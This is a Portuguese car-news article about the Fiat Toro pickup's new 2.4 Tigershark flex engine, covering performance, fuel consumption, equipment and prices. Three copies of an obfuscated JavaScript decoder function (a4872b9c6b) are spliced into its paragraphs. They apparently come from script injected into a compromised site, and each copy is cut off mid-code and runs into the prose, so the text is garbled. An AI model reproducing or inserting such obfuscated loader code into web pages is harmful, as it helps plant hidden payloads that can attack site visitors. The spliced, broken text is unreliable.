Fiat lança motor 2.4 flex para a Toro
[Via Campo Grande News]
A Fiat acaba de lançar o novo motor 2.4 Tigershark para a picape Toro, o novo motor põe fim as reclamações de baixo rendimento do motor anterior 1.8 (o mesmo da Strada). O novo propulsor rende 174 cv e 23,5 kgfm com gasolina e com etanol 186 cv de potência e 24,9 kgfm de torque aos 4.000 rpm, sem tem turbocompressor e injeção direta de combustível. Segundo a montadora 91% da força já está disponível aos 2.000 rpm.
O câmbio é sempre automático de nove velocidades. Segundo a Fiat a picape vai da imobilidade aos 100 km/h em 9,9 segundos (com motor 1.8 leva 12,2 segundos), a velocidade máxima é de 200 km/h.
function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oafunction a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaPara comparação o motor e.TorQ flex 1.8 rende 139 cv e 19,3 mkgf com etanol - uma diferença de 47 cavalos e 5,5 mkgf.
A Toro 2.4 também recebeu sistema start-stop e partida a frio, que elimina o tanquinho auxiliar. A Fiat também incluiu uma tecla Sport, que promete comportamento mais esportivo, com um mapa de calibração do motor diferente.
Com a nova motorização o consumo anunciado na cidade é de 5,9 km/l com etanol e 8,6 km/l com gasolina. Na estrada, faz 7,4 km/l com etanol e 10,8 km/l com gasolina.
function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaOs equipamentos de série são os mesmos da versão Freedom 1.0 com o acréscimo de capota marítima, retrovisores elétricos com rebaixamento para o auxílio em manobras, volante de couro e aletas para trocas de marchas atrás do volante.
O mais inusitado é que a Toro Freedom com o novo motor 2.4 flex AT9 custa o mesmo que a versão diesel 4x2 MT, veja abaixo os valores de cada versão, seria uma boa se não fosse o preço alto.
Toro Freedom 1.8 AT6: R$ 82.930
Toro Freedom 2.4 AT9: R$ 98.730
Toro Freedom 2.0 Diesel 4×2: R$ 98.730
Toro Freedom 2.0 Diesel 4×4: R$ 107.150
Toro Volcano 2.0 Diesel 4×4 AT9: R$ 124.550
